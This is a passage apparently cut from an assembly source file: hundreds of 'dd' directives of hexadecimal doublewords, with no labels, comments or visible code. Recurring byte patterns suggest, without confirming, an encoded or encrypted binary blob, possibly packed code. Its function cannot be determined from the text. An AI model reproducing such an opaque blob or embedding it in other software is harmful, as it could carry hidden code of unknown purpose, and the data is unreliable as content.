5CB79987h, 55D3A0D1h, 4849D92Ch, 0AF5199DBh dd 0A41DD1B9h, 9E7186D1h, 5C45E757h, 1B4849D9h, 86D1A9D1h dd 5D3BE8Bh, 44EF5750h, 7987D123h, 2DAF61AFh, 5DE7574Ch dd 4849D91Ch, 655B9FD1h, 4849D8C0h, 0B354B7DBh, 5DE7574Ah dd 4849D8A0h, 655B9FD1h, 4849D918h, 0D15EB7DBh, 30607A0h dd 0D10D9B91h, 48B4DBBDh, 0D50F0E0Bh, 0A708A41Dh, 97B0502Dh dd 0DB585863h, 9ED1509Ch, 0CC5DE757h, 104849D9h, 5F2D9E61h dd 0F1B19869h, 0F9585858h, 4849D9F8h, 655B9FD1h, 4849D9B8h dd 0D350B7DBh, 99D1541Dh, 18A790DBh, 585964D8h, 1DD1A12Dh dd 6654D5A0h, 18A790DBh, 585964D8h, 9BD1A12Dh, 63480573h dd 172DA005h, 59A81D9Fh, 57585858h, 0D9705DE7h, 0B0DB4849h dd 0AC1DD15Dh, 1DD37AB3h, 59A2D1ACh, 480D5B9Ah, 4E4CEE57h dd 575415D3h, 61595CE6h, 0DB5E2C9Ah, 0B358A83Dh, 0AC1DA750h dd 2AAC0561h, 0A825DB81h, 0E542C58h, 7D944DA7h, 98694859h dd 5B79B318h, 60F94825h, 184849DAh, 0DA545D5Bh, 9F594849h dd 25638759h, 0EDA2AA4h, 7D944DA7h, 98694859h, 91030607h dd 0BDD10D9Bh, 0E54B4DBh, 542DD30Fh, 69501DD3h, 0D3AEAF8Ah dd 49D9F465h, 5AB7DB48h, 5D2DA261h, 0B3501DD3h, 501DD342h dd 0AEAF8A69h, 0D1A01DD1h, 0D1BEAF9Fh, 9FD1AC1Dh, 25D1AF59h dd 7A0D1A4h, 0D9B9106h, 0B4D9BDD1h, 58585A68h, 0D30F0E0Bh dd 5D3502Dh, 6580D154h, 58585958h, 0D4574E2Ch, 58585D93h dd 58594965h, 0F8DC5758h, 0B1585858h, 58585DE3h, 514825DBh dd 5DE9DD57h, 0E7575858h, 49DA1865h, 50B7DB48h, 68E033B3h dd 0AF585858h, 0A0DDD1BFh, 61A7A7A5h, 6D3C5D6Ch, 472D4851h dd 585868E0h, 0D1BFAF58h, 0A7A5ACDDh, 5D6CA7A7h, 48516D30h dd 71A44DA7h, 28B1485Dh, 0E058585Dh, 58585868h, 0DDD1BFAFh dd 0A7A7A5ACh, 385D6C61h, 2D48516Dh, 5868E047h, 0BFAF5858h dd 0A5A8DDD1h, 6CA7A7A7h, 516D3C5Dh, 0A44DA748h, 0B1485D71h dd 58585D63h, 5DE7571Fh, 4849DA48h, 0D9E44DD3h, 1CD54849h dd 9F610148h, 78B1D82Ah, 5758585Dh, 0D9705DE7h, 9FD14849h dd 0D92C655Bh, 0B7DB4849h, 0E042B354h, 58585868h, 0DDD1BFAFh dd 0A7A7A5A0h, 345D5CD3h, 6148516Dh, 4B2C4C1Dh, 0D918F91Fh dd 98DB4849h, 0D85D5B3Bh, 614849D9h, 0F98C2A9Fh, 4849D9E8h dd 610598DBh, 88DC579Fh, 3058585Ch, 585858A7h, 0A6A5DDD5h dd 0E008A7A7h, 58585868h dd 0DDD1BFAFh, 0A7A7A5ACh, 5D6CA7h, 0A748516Dh, 4937604Dh dd 5DE75748h, 4849D9FCh, 0AE5DDC9Eh, 13A7A7A5h, 645DE757h dd 0D34849D9h, 49D9804Dh, 5CB2DB48h, 0AD5DCCD0h, 57A7A7A5h dd 0D9F05DE7h, 5D5B4849h, 4849D8B0h, 0A45DDC9Eh, 24A7A7A5h dd 0A6A5DDD5h, 0D508A7A7h, 0A7A5A4DDh, 4DA708A7h, 4858A874h dd 30509CDBh, 585858A7h, 0A6A5DDD5h, 0E008A7A7h, 58585868h dd 0DDD1BFAFh, 0A7A7A5A8h, 385D6CA7h, 0A748516Dh, 4937604Dh dd 0DA54F948h, 0E7574849h, 49D9CC4Dh, 57885948h, 0A05DDCE6h dd 0D3A7A7A6h, 49D9904Dh, 444D5B48h, 0DB4849D9h, 886152B2h dd 6E30042Dh, 0B04849D5h, 0A7A7F3A8h, 4DE75701h, 4849D960h dd 0A5BB2DBh, 0D9AC4DD3h, 4D5B4849h, 4849D8F4h, 0A48B2DBh dd 184DD308h, 5B4849D9h, 49D8E04Dh, 5DB2DB48h, 604DA70Ah dd 0E0485501h, 58585868h, 0DDD1BFAFh, 0A7A7A5B4h, 385D6CA7h dd 0A748516Dh, 5D71A44Dh, 5BF5B148h, 69305858h, 0B04849D5h dd 0A7A7F3CCh, 0A4CDD508h, 0AA7A7A5h, 0A8744DA7h, 0DDD54858h dd 0A7A7A6A5h, 0A4DDD508h, 8A7A7A5h, 0A8744DA7h, 9CDB4858h dd 58A7304Ch, 0DDD55858h, 0A7A7A6A5h, 5868E008h, 0BFAF5858h dd 0A5B4DDD1h, 6CA7A7A7h, 516D3C5Dh, 604DA748h, 0F9484937h dd 4849D8F4h, 5DDCE657h, 0A7A7A6AEh, 0D8C04DD3h, 4D5B4849h dd 4849D898h, 6153B2DBh, 30022D88h, 4849D557h, 0A7F347B0h dd 4DD301A7h, 4849D918h, 0D8904D5Bh, 0B2DB4849h, 4DD30A5Ah dd 4849D9A0h, 0D9344D5Bh, 0B2DB4849h, 57080A50h, 0D9104DE7h dd 0A124849h, 1604DA7h, 68E04855h, 0AF585858h, 0B0DDD1BFh dd 0A7A7A7A5h, 6D3C5D6Ch, 4DA74851h, 485D71A4h, 585A86B1h dd 0D5523058h, 9DB04849h, 8A7A7F2h, 0A5A4CDD5h, 0A70AA7A7h dd 58A8744Dh, 0A5DDD548h, 8A7A7A6h, 0A5A4DDD5h, 0A708A7A7h dd 58A8744Dh, 4C9CDB48h, 5858A730h, 0A5DDD558h, 8A7A7A6h dd 585868E0h, 0D1BFAF58h, 0A7A5B0DDh, 5D6CA7A7h, 48516D30h dd 37604DA7h, 0CF94849h, 574849D9h, 0AD5DDCE6h, 57A7A7A6h dd 0DA484DE7h, 4D5B4849h, 4849DA64h, 615DB2DBh, 71DC5788h dd 0D5585859h, 0A7A6A5D5h, 0A790DBA7h, 5964D818h, 0D1A12D58h dd 7455D39Ah, 574849DAh, 0DA505DE7h, 99594849h, 615CB1DBh dd 0A5DA5792h, 0F9585858h, 4849DA74h, 0D05FB0DBh, 0A7A6A3DDh dd 577AB3A7h, 0A6A3DDEEh, 0DCD2A7A7h, 0A7A6A55Dh, 246864A7h dd 2661645Ch, 588AB15Dh, 0DDD85858h, 0A7A7A6A3h, 0A5D5D559h dd 0DBA7A7A6h, 0D818A790h, 2D585964h, 0D5EE57A1h, 0A7A7A6A3h dd 9B2A9961h, 49D9B8F9h, 545D5B48h, 0DB4849DAh, 0DDD050B0h dd 0A7A7A6A4h, 0DDD22EB3h, 0A7A7A6A4h, 0A5BFDDD0h, 71B3A7A7h dd 0BFDDEE57h, 57A7A7A5h, 0A55DDCE6h, 57A7A7A6h, 0A6A4CDEEh dd 0E657A7A7h, 0A6A54DCCh, 8861A7A7h, 0DDD87A2Dh, 0A7A7A5BFh dd 0A5D5D559h, 0DBA7A7A6h, 0D818A790h, 2D585964h, 0D5EE57A1h dd 0A7A7A5BFh, 0E42A9961h, 0BFDDEE57h, 57A7A7A5h, 0A6A4CDEEh dd 8871A7A7h, 0D8E44DD3h, 9ADB4849h, 2788615Bh, 0A4DDD873h dd 59A7A7A6h, 0A6A5D5D5h, 90DBA7A7h, 64D818A7h, 0A12D5859h dd 0A4D5EE57h, 61A7A7A6h, 33DA5799h, 0B1A7A7A7h, 585858C4h dd 49D928F9h, 5F945D48h, 0A7085858h, 55017C4Dh, 0D4893048h dd 49B04849h, 0D1A7A7F1h, 0A7A5BCDDh, 0D4E230A7h, 59B04849h dd 0D3A7A7F1h, 49D9504Dh, 50B2DB48h, 0CDD3080Ah, 0A7A7A5BCh dd 744DD30Ah, 5B4849DAh, 49D8B44Dh, 50B2DB48h, 604DA70Ah dd 30485501h, 4849D4EEh, 0A7F097B0h, 489CDBA7h, 5868E008h dd 0BFAF5858h, 0A5B8DDD1h, 9AD1A7A7h, 304D6CA7h, 0A748516Dh dd 49010C4Dh, 5868E048h, 0BFAF5858h, 0A584DDD1h, 6CA7A7A7h dd 516D305Dh, 0A44DA748h, 0B1485D71h, 585858C7h, 49D4E930h dd 0F0DEB048h, 0D508A7A7h, 0A7A5A4CDh, 4DA70AA7h, 4858A874h dd 0A6A5DDD5h, 0D508A7A7h, 0A7A5A4DDh, 4DA708A7h, 4858A874h dd 585868E0h, 0D1BFAF58h, 0A7A580DDh, 5D6CA7A7h, 48516D00h dd 69B04DA7h, 0DDD5485Dh, 0A7A7A5A4h, 4C4DA708h, 0DB485958h dd 5D32409Ch, 585868E0h, 0D1BFAF58h, 0A7A58CDDh, 5D6CA7A7h dd 48516D0Ch, 1004DA7h, 68E04849h, 0AF585858h, 88DDD1BFh dd 57A7A7A5h, 0D9C05DE7h, 0E7574849h, 49D9944Dh, 0DB885948h dd 0CDD352B0h, 0A7A7A588h, 84D5CD1h, 0D348516Dh, 49D98465h dd 588FB148h, 68E05858h, 0AF585858h, 0A01DD1BFh, 45D6C63h dd 2D48516Dh, 4C2DA77Ch, 0B482DA7h, 5868E00Eh, 0BFAF5858h dd 0A7AC1DD1h, 6D245D6Ch, 4DA74851h, 485100A0h, 5858E1B1h dd 5868E058h, 0BFAF5858h, 63A81DD1h, 6D305D6Ch, 7C2D4851h dd 0A74C2DA7h, 0E0B482Dh, 585868E0h, 0D1BFAF58h, 6CA7B41Dh dd 516D205Dh, 0A04DA748h, 0B1485100h, 585858DAh, 585868E0h dd 0D1BFAF58h, 6C63B01Dh, 516D385Dh, 0A7792D48h, 2DA74C2Dh dd 0E00E0B48h, 58585868h, 1DD1BFAFh, 5D6CA7BCh, 48516D28h dd 0A04DA7h, 16B34851h, 585868E0h, 0D1BFAF58h, 6C63B81Dh dd 516D3C5Dh, 0A7792D48h, 2DA74C2Dh, 0E00E0B48h, 58585868h dd 1DD1BFAFh, 5D6CA784h, 48516D2Ch, 0A04DA7h, 42B34851h dd 0D8B0F91Fh, 98DB4849h, 4DE75706h, 4849D8ECh, 9F618859h dd 0A748DA57h, 607A7A7h, 489A9103h, 0BDD10D58h, 595CB4D9h dd 0F0E5858h, 575425D3h, 0D8885DE7h, 0E7574849h, 49D9104Dh dd 0DB885948h, 64D85FB0h, 1D2C765Fh, 0D5502DA7h, 0A7A6A4DDh dd 4DA708A7h, 485979FCh, 49D4F430h, 0FEF6B048h, 0D508A7A7h dd 0A7A6A4EDh, 4DA70EA7h, 4858A874h, 0A4DDD50Fh, 8A7A7A6h dd 0A8744DA7h, 0DDD54858h, 0A7A7A6A4h, 6434B008h, 9CDB5858h dd 91060778h, 0D30E0B9Bh, 0D3547C04h, 0D3487C2Ch, 49DA4C55h dd 4599DB48h, 49DA44F9h, 4DE75748h, 4849D9A8h, 0B0DB8859h dd 0B3997151h, 4CD33E46h, 4C633E13h, 695C2B16h, 3E45B398h dd 3E134CD3h, 2E164C63h, 1898695Dh, 0F91156B3h, 4849DA7Ch dd 25996110h, 18986980h, 0D9B0306h, 0E0BBDD1h, 482DD30Fh dd 694C05D3h, 0D379B3A7h, 71B8E54Ch, 4DD14859h, 4858A850h dd 583C4230h, 0A70E0B48h, 2DA7542Dh, 504DA750h, 1F4858A8h dd 0DAFC6563h, 8F2A4849h, 5030607h, 0BDD10D9Bh, 0B14B4DBh dd 4DA70F0Eh, 48490228h, 0D3A41DD1h, 6DD35005h, 4849D8E0h dd 0B35CB6DBh, 0B44DD314h, 0DB4849D9h, 4C615BB2h, 5948B8EDh dd 0D3612C48h, 1108ED4Ch, 55D34851h, 4849D880h, 0B20299D9h dd 0F8F95858h, 5B4849D8h, 49D9005Dh, 0F7571048h, 63925990h dd 482BA40Dh, 0D9E84DD3h, 0B2DB4849h, 0ED4CD15Fh, 485948B8h dd 0D988F91Eh, 0B85D4849h, 5B58585Bh, 49D8B45Dh, 2A9E6148h dd 0D15BD3F8h, 44D5A81Dh, 7380D15Bh, 1D63501Dh, 9EDB5754h dd 57585859h, 0D93C5DE7h, 98DB4849h, 0A81D615Bh, 80D1832Fh dd 0D3501D73h, 49D9004Dh, 7C4D5B48h, 124849D9h, 1DD18871h dd 0DB81D1A0h, 0D818A790h, 2D585964h, 0AC1DD1A1h, 49DA10F9h dd 5B9FD148h, 49D8F465h, 53B7DB48h, 4DD36DB3h, 4849D9B4h dd 0D8FC4D5Bh, 0B2DB4849h, 0E54C6152h, 485948B8h, 0DD3442Ch dd 0E54C61A0h, 48595878h, 4CD2482Dh, 5979E865h, 400D6248h dd 5968DC57h, 0F91F5858h, 4849DA54h, 585BBC5Dh, 2A9F6158h dd 0D9D0F9E5h, 0E35D4849h, 6158585Bh, 0DE57AC1Dh, 585858E0h dd 49D978F9h, 5D5B1848h dd 4849D9E4h, 0ED1DD508h, 9FFCB008h, 9CDBA7A7h, 0D9E4F950h dd 0EA5D4849h, 5758585Bh, 0D99C4DE7h, 88594849h, 0F9B41DD1h dd 4849DA74h, 0D15FB0DBh, 1DD3B01Dh, 5B5CD2B4h, 0D3BF1DD0h dd 0E757B41Dh, 49D99C4Dh, 0AC4D5B48h, 0DB4849D9h, 4CD049B2h dd 57B8305Bh, 2DA74859h, 0B02DA7ACh, 8ED1DD5h, 0A74C1DD3h dd 502DA768h, 482DA70Bh, 505DE757h, 104849DAh, 5858A77Dh dd 0E4B00858h, 0DB58585Ch, 1DD37C9Ch, 0B01DD1B4h, 0D0BF0DD2h dd 68F95B4Ch, 5D4849DAh, 58585BE7h, 0D3B41D59h, 1D61AC1Dh dd 0D15B2EB4h, 1DD3B41Dh, 0B01D61ACh, 0DAB30B2Bh, 49D4FF30h dd 0FBAEB048h, 0B830A7A7h, 0A7485957h, 0E757AC2Dh, 49D9FC4Dh dd 55E75748h, 4849D9C0h, 0B2DB9259h, 0D3080A5Fh, 6AA74C0Dh dd 0B502DA7h, 0D3482DA7h, 49D8F84Dh, 4C4D5B48h, 0DB4849D9h dd 0BAD95CB2h, 585858A7h, 5C65B00Ah, 9CDB5858h, 4C1DD370h dd 1DD358A7h, 5B44D5ACh, 4C1DD31Bh, 0DA704DD3h, 9ADB4849h dd 57486154h, 0A7A67CDEh, 0D4FB30A7h, 0DDB04849h, 30A7A7FBh dd 485957B8h, 0D9804DD3h, 0E7574849h, 49D88855h, 0DB925948h dd 570A52B2h, 0D9644DE7h, 0B2DB4849h, 0A080A51h, 0FC4DE757h dd 0DB4849D9h, 570A5EB2h, 0D9404DE7h, 0B2DB4849h, 2DA70A50h dd 0B84DD348h, 5B4849D9h, 49D9BC4Dh, 5FB2DB48h, 58A7BAD9h dd 0B00A5858h, 58585BEFh, 7709CDBh, 9B910306h, 0D4CE300Fh dd 41B04849h, 1A7A7FBh, 0C04DA708h, 0FB48597Dh, 4849DA3Ch dd 49D9E0F9h, 5C5D5B48h, 0DB4849DAh, 5D615EB0h, 4849DA3Ch dd 0D1304F2Dh, 0B04849D4h, 0A7A7FAB4h, 4DA70801h, 485D6A40h dd 49DA3CFBh, 0D42F3048h, 8DB04849h, 8A7A7FAh, 0DA3C6DA7h dd 4DA74849h, 485979F4h, 5978D4FBh, 0D43F3048h, 0E1B04849h dd 8A7A7FAh, 0DA3C6DA7h, 4DA74849h, 485979F4h, 5978DCFBh dd 0D40C3048h, 0C5B04849h, 8A7A7FAh, 0DA3C6DA7h, 4DA74849h dd 485979F4h, 492810FBh, 0D4183048h, 0D9B04849h, 8A7A7FAh dd 0DA3C6DA7h, 4DA74849h, 485979F4h, 597D8CFBh, 0D4693048h dd 3DB04849h, 8A7A7FAh, 0DA3C6DA7h, 4DA74849h, 485979F4h dd 550164FBh, 0D4783048h, 11B04849h, 0DBA7A7FAh, 0A708409Ch dd 49DA3C6Dh, 0F44DA748h, 0FB485979h, 485D69B4h, 300F9B07h dd 4849D44Ah, 0A7FA7FB0h, 0A70801A7h, 597DC04Dh, 0DA04FB48h dd 0E7574849h, 49D99C5Dh, 50B0DB48h, 0DA045D61h, 4F2D4849h dd 49D45C30h, 0F9A6B048h, 801A7A7h, 6A404DA7h, 4FB485Dh dd 304849DAh, 4849D3AAh, 0A7F9BFB0h, 0ACB008A7h, 0FB585868h dd 48597D90h, 49D3B830h, 0F98AB048h, 0B008A7A7h, 58586887h dd 51014CFBh, 0D3913048h, 0E5B04849h, 8A7A7F9h, 586892B0h dd 7DFCFB58h, 0EE304859h, 0B04849D3h, 0A7A7F9F0h, 68EDB008h dd 64FB5858h, 30485111h, 4849D3FDh, 0A7F9CBB0h, 0F8B008A7h dd 0FB585868h, 48550168h, 49D3CF30h, 0F926B048h, 0B008A7A7h dd 585868D3h, 490100FBh, 0D3DD3048h, 31B04849h, 8A7A7F9h dd 58682EB0h, 78C8FB58h, 21304859h, 0B04849D3h, 0A7A7F90Ch dd 6839B008h, 0A4FB5858h, 30485D71h, 4849D335h, 0A7F967B0h dd 14B008A7h, 0FB585868h, 485100ACh, 49D30130h, 0F972B048h dd 0B008A7A7h, 5858686Fh, 490358FBh, 0D3113048h, 4DB04849h dd 8A7A7F9h, 58687AB0h, 0A840FB58h, 6F304858h, 0B04849D3h dd 0A7A7F958h, 6855B008h, 0F4FB5858h, 3048597Dh, 4849D37Eh dd 0A7F8B3B0h, 0A0B008A7h, 0FB585877h, 48595788h, 49D34C30h dd 0F88EB048h, 0B008A7A7h, 585877BBh, 493760FBh, 0D3593048h dd 99B04849h, 8A7A7F8h, 587796B0h, 0A0FB58h, 0A8304851h dd 0B04849D2h, 0A7A7F8F4h, 77E1B008h, 8FB5858h, 30484901h dd 4849D2BBh, 0A7F8CFB0h, 0FCB008A7h, 0FB585877h, 4858A85Ch dd 49D28C30h, 0F8DAB048h, 0B008A7A7h, 585877D7h, 516D10FBh dd 0D2983048h, 35B04849h, 8A7A7F8h, 587722B0h, 5840FB58h dd 0EA304859h, 0B04849D2h, 0A7A7F800h, 773DB008h, 58FB5858h dd 30485958h, 4849D2C4h, 0A7F81BB0h, 8B008A7h, 0FB585877h dd 48595848h, 49D2D230h, 0F876B048h, 0B008A7A7h, 58587763h dd 49010CFBh, 0D2213048h, 41B04849h, 8A7A7F8h, 58777EB0h dd 69B0FB58h, 3230485Dh, 0B04849D2h, 0A7A7F85Ch, 7749B008h dd 9CD95858h, 58585898h, 550160FBh, 329B0748h, 4AFDB05Ah dd 58325858h, 584AC6B0h, 509CDB58h, 0BDD10D9Bh, 1DD50F09h dd 413008A4h, 57585A58h, 0D8945DE7h, 8104849h, 0A7542DA7h dd 4DA7502Dh, 48597DC4h, 0A7519FD1h, 98695C2Ch, 2DA762B3h dd 4C2DA740h, 0F9442DA7h, 4849D8BCh, 0D9E85D5Bh, 0B0DB4849h dd 2DA70854h, 0A42DA748h, 0A8144DA7h, 9FD14858h, 0A7A42DA7h dd 51015C4Dh, 2CA75148h, 0B398695Ch, 1898695Bh, 0D9B9107h dd 60E0BDD1h, 0B0585AA8h, 5858127Dh, 570F0E0Bh, 0D93C65E7h dd 0A7314849h, 58585B98h, 9C6DE757h, 0D94849D8h, 58B2029Eh dd 6FE4D558h, 58585B98h, 0E5D1BF89h, 0A7A55790h, 1120B00Fh dd 9CDB5858h, 8EDDD15Ch, 57A7A757h, 57501DEEh, 0D9944DE7h dd 4D5B4849h, 4849D9B4h, 6153B2DBh, 307B2D88h, 4849D207h dd 0A7C753B0h, 5C9CDBA7h, 84E5D508h, 0FA7A749h, 1704DA7h dd 9CDB4855h, 598BB150h, 4DA75858h, 485D69A8h, 0C5D09BD1h dd 0A7A7578Dh, 49D26530h, 0C682B048h, 9CDBA7A7h, 0E5D5085Ch dd 0A7A74885h, 0FC4DA70Fh, 0DB485979h, 0EE57509Ch, 0E757501Dh dd 49D9104Dh, 344D5B48h, 0DB4849D9h, 88615CB2h, 0E757052Dh dd 49D9CC5Dh, 984DD348h, 0D54849D8h, 7D5C481Ch, 585858A7h dd 86DDD508h, 8A7A757h, 0B0482DA7h, 5858537Eh, 30549CDBh dd 4849D271h, 0A7C623B0h, 5C9CDBA7h, 8DE5EE57h, 0FA7A757h dd 5786E5D5h, 0D50FA7A7h, 0A74885E5h, 0D5080FA7h, 0A74984E5h dd 4DA70FA7h, 48550170h, 574C9CDBh, 57501DEEh, 0D8EC4DE7h dd 4D5B4849h, 4849D97Ch, 615FB2DBh, 4EDD5788h, 57585859h dd 0D9FC5DE7h, 0E7574849h, 49D8A04Dh, 0DB885948h, 0A77D53B0h dd 8585858h, 5786DDD5h, 0A708A7A7h, 49DA9C6Dh, 52F0B048h dd 9CDB5858h, 0D1BA3054h, 0A5B04849h, 0DBA7A7C5h, 25D35C9Ch dd 482DD378h, 0AB59A3D1h, 45E7570Bh, 4849D910h, 0D96C4DD3h dd 4D54849h, 0A70B5B4Bh, 0A70F7C2Dh, 0EE57442Dh, 0A7578DE5h dd 0AFD10FA7h, 574C2573h, 0D9646DE7h, 6D5B4849h, 4849D9E0h dd 7151B6DBh, 58300FAFh, 0A7485D6Ah, 2DA7402Dh, 86E5D570h dd 0FA7A757h, 4885E5D5h, 80FA7A7h, 4984E5D5h, 0A70FA7A7h dd 5501704Dh, 609CDB48h, 49DA7CF9h, 401D6148h, 61103B2Dh dd 52D781Dh, 49D1E630h, 0C52AB048h, 9CDBA7A7h, 348305Ch dd 0E7574849h, 49D95C65h, 4C6DD348h, 0D54849D9h, 0F5D6F24h dd 0D5702DA7h, 0A75786E5h, 0E5D50FA7h, 0A7A74885h, 0E5D5080Fh dd 0A7A55795h, 704DA70Fh, 0DB485501h, 0DDD5449Ch, 0A7A55795h dd 84DDD508h, 8A7A749h, 0A8744DA7h, 9CDB4858h, 90EDA750h dd 0A7A7A557h, 0A7578EEDh, 5DE757A7h, 4849D994h, 0D8BC5D5Bh dd 0B0DB4849h, 880AF55h, 4984DDD5h, 5708A7A7h, 0DA1C5DE7h dd 0B0DB4849h, 5832085Fh, 16C4DA7h, 0FC304855h, 0B04849D1h dd 0A7A788F2h, 85C9CDBh, 58544DA7h, 0DDD14859h, 0A7A75788h dd 578EEDA7h, 4DA7A7A7h, 48595854h, 5794DDD1h, 0A708A7A7h dd 0A75788EDh, 541DD3A7h dd 0A740D308h, 58595CCBh, 88EDA758h, 0A7A7A757h, 49376C4Dh dd 94EDA748h, 0A7A7A757h, 49376C4Dh, 0E4FDD548h, 7A7A557h dd 9B910306h, 9BDD10Dh, 0F0E0B08h, 0D35405D3h, 80D1482Dh dd 0E15A98DBh, 5858585Bh, 0F2F2F3E2h, 89BAAFF2h, 0A40DD1B2h dd 0BF998FD1h, 4C0DD35Ah, 2E8F6112h, 0B198695Fh, 58585958h dd 49D10530h, 0C41AB048h, 801A7A7h, 49371830h, 1F4BB048h dd 6DB35858h, 502DA70Eh, 0A7929AB0h, 509CDBA7h, 49D898F9h dd 9B711848h, 0A85DE757h, 0DB4849D9h, 1D5B5BB0h, 501DD150h dd 49D9E0F9h, 8C5D5B48h, 0DB4849D9h, 6CD550B0h, 0D8E8F95Eh dd 0E7574849h, 49DA484Dh, 0DB885948h, 9B615FB0h, 0F4F9EE2Bh dd 0DB4849D9h, 9B615AB0h, 5B32202Eh, 49D9ECF9h, 5CB0DB48h dd 0A11DD508h, 6C4DA708h, 0B485111h, 0D5502DA7h, 0A708A11Dh dd 51104C4Dh, 1DD50E48h, 10B008A1h, 0DBA7A792h, 0E757789Ch dd 49D93C5Dh, 4DE75748h, 4849D8C4h, 0B0DB8859h, 2D9B615Eh dd 5DE7574Ch, 4849D8A0h, 0D97C5D5Bh, 0B0DB4849h, 5E5C9E5Dh dd 0D9E4F965h, 5D5B4849h, 4849D898h, 9E5DB0DBh, 57655E5Ch dd 0D9105DE7h, 2CD54849h, 0E7575B68h, 49DA185Dh, 50B0DB48h dd 484DE757h, 0DB4849DAh, 4CD05DB2h, 1898695Eh, 91030607h dd 0BDD10D9Bh, 5A54B4D9h, 0E0B5858h, 5A31B00Fh, 98515858h dd 5A61DC57h, 0DD9F5858h, 0A7A7A5A4h, 585858A7h, 0A5A4DDD5h dd 0D508A7A7h, 0A7A759DDh, 4DA708A7h, 48597DF8h, 49D950F9h dd 6C5D5B48h, 574849DAh, 0A95DDCE6h, 0D3A7A7A6h, 49D9C44Dh dd 5CB2DB48h, 502D8861h, 0B1189869h, 585859ABh, 49D10930h dd 0C286B048h, 0E757A7A7h, 49D9604Dh, 5AB2DB48h, 0CDD5080Ah dd 0A7A7A759h, 95A9B00Ah, 9CDBA7A7h, 579AD148h, 0D89C55E7h dd 74F94849h, 0D54849D9h, 0A7A959D4h, 92615858h, 9869502Ch dd 59F5B118h, 1F305858h, 0B04849D1h, 0A7A7C2C0h, 0DA704DD3h dd 0B2DB4849h, 0D5080A5Fh, 0A7A759CDh, 0F4B00AA7h, 0DBA7A795h dd 55D3489Ch, 4849D9ACh, 0A7AA99D9h, 555B5858h, 4849D928h dd 502C9061h, 0B1189869h, 58585933h, 0A5A0DD9Fh, 58A7A7A7h dd 0DDD55858h, 0A7A7A5A0h, 5ADDD508h, 8A7A7A6h, 0A8184DA7h dd 1A304858h, 0B04849D1h, 0A7A7C260h, 5ACDD508h, 0AA7A7A6h dd 0A8744DA7h, 0C4F94858h, 0DB4849D9h, 0D5085BB0h, 0A7A759DDh dd 0DDD508A7h, 0A7A7A65Ah, 9561B008h, 9CDBA7A7h, 44DD340h dd 0D94849D9h, 58A7A39Ah, 2C886158h, 18986950h, 5858A6B1h dd 404DA758h, 0D1485101h, 0D183699Eh, 5DE757AFh, 4849D8ECh dd 0D8C85D5Bh, 0B0DB4849h, 5CEE5751h, 4DE7575Fh, 4849D99Ch dd 3C55E757h, 594849D9h, 51B2DB92h, 0DC578861h, 585858E9h dd 90DBA1D1h, 64D818A7h, 0A12D5859h, 0A5ACDDD1h, 6030A7A7h dd 0B04849D1h, 0A7A7C1C4h, 0D35C9CDBh, 49D8844Dh, 744D5B48h dd 0DB4849D9h, 80A53B2h, 94F5B00Fh, 9CDBA7A7h, 5855D354h dd 0D94849DAh, 58A7A299h, 2C906158h, 5859E35Fh, 39B35858h dd 49D17F30h, 0C106B048h, 0E757A7A7h, 49D95C4Dh, 80A1A48h dd 9421B00Fh, 9CDBA7A7h, 0D39AD148h, 49D8E855h, 0AB99D948h dd 575858A7h, 0D9B05DE7h, 99594849h, 5D2C9261h, 0B31B8369h dd 5DE7577Ch, 4849DA50h, 184DE757h, 594849DAh, 50B0DB88h dd 0A5ACCDD3h, 0A259A7A7h, 8F599FD1h, 0A7A778B1h, 4DA70EA7h dd 4851111Ch, 5D2C8351h, 0B3189869h, 798695Ah, 9B910306h dd 38BDD10Dh, 0E0482DD3h, 48580A3Eh, 58E0DED1h, 1DD35858h dd 9CDED154h, 39585858h, 6905B4D1h, 0D9B9B98h, 0B4D9BDD1h dd 585858CCh, 0DADC65DBh, 2C584849h, 1898695Dh, 0DD9F77B3h dd 0A7A7A734h, 585858CCh, 0A734DDD5h, 0A708A7A7h, 4937704Dh dd 24E5DB48h, 5AA7A7A7h, 5D9F522Dh, 4849DADCh, 58585859h dd 49DADCF9h, 0F9B9148h, 49D14230h, 0C022B048h, 801A7A7h dd 7DC04DA7h, 38FB4859h, 0F94849DAh, 4849D930h, 615AB0DBh dd 49DA385Dh, 304F2D48h, 4849D155h, 0A7C00BB0h, 0A70801A7h dd 5D6A404Dh, 0DA38FB48h, 0A6304849h, 0B04849D0h, 0A7A7C064h dd 6DA70801h, 4849DA38h, 79F44DA7h, 78FB4859h, 748516Ah dd 1859E09Bh, 409AD858h, 0BDD10D58h, 59F4B4D9h, 0E0B5858h dd 5025D30Fh, 9F585F9Eh, 0A7A635DDh, 5858CCA7h, 35DDD558h dd 8A7A7A6h, 37704DA7h, 0E5DB4849h, 0A7A7A625h, 304D2D59h dd 4849D0A0h, 0A7CFBBB0h, 0A70F08A7h, 58A8744Dh, 549CDB48h dd 0A625E5DBh, 2D5AA7A7h, 0D0AA304Dh, 9DB04849h, 8A7A7CFh dd 704DA70Fh, 0DB485501h, 0BE30549Ch, 0B04849D0h, 0A7A7CFE8h dd 0A621EDA7h, 0EDA7A7A7h, 0A7A7A62Dh, 0A629EDA7h, 0D508A7A7h dd 0A7A759C5h, 4DA70BA7h, 48550170h, 0A759DDD5h, 0F08A7A7h dd 0A8744DA7h, 87304858h, 0B04849D0h, 0A7A7CF20h, 0D95045D3h dd 0B3DB4849h, 0E7570B50h, 49D8A445h, 0E4455B48h, 0DB4849D8h dd 0D50B5AB3h, 0A7A63CC5h, 0C5D50BA7h, 0A7A7A63Ch, 38C5D50Bh dd 0BA7A7A6h, 5858A730h, 59C5D558h, 0BA7A7A7h, 584DA708h dd 30485101h, 4849D08Fh, 0A7CF73B0h, 38EDA7A7h, 8A7A7A6h dd 0A759C5D5h, 0A70BA7A7h, 5501704Dh, 59DDD548h, 8A7A7A7h dd 744DA70Fh, 304858A8h, 585858A7h, 0A759DDD5h, 0F908A7A7h dd 4849D928h, 184DE757h, 594849DAh, 51B0DB88h, 5C583008h dd 4DA75858h, 48597DF0h, 0A759DDD5h, 0F08A7A7h, 0A8744DA7h dd 8A304858h, 0B04849D0h, 0A7A7CE90h, 4DA70F08h, 4858A874h dd 0A630DD9Fh, 58A7A7A7h, 0FD305858h, 0B04849D0h, 0A7A7CEF4h dd 0A600DDD1h, 0C030A7A7h, 0B04849D0h, 0A7A7CEC4h, 0A604C5D5h dd 0D50BA7A7h, 0A7A630C5h, 0C5D50BA7h, 0A7A7A759h, 0C5D3080Bh dd 0A7A7A600h, 585A300Bh, 0CEB0D858h, 0DBA7A7AEh, 9ED1289Ch dd 0C05DE757h, 614849D9h, 0D54B2D9Eh, 0A7A759DDh, 0A70F08A7h dd 58A8744Dh, 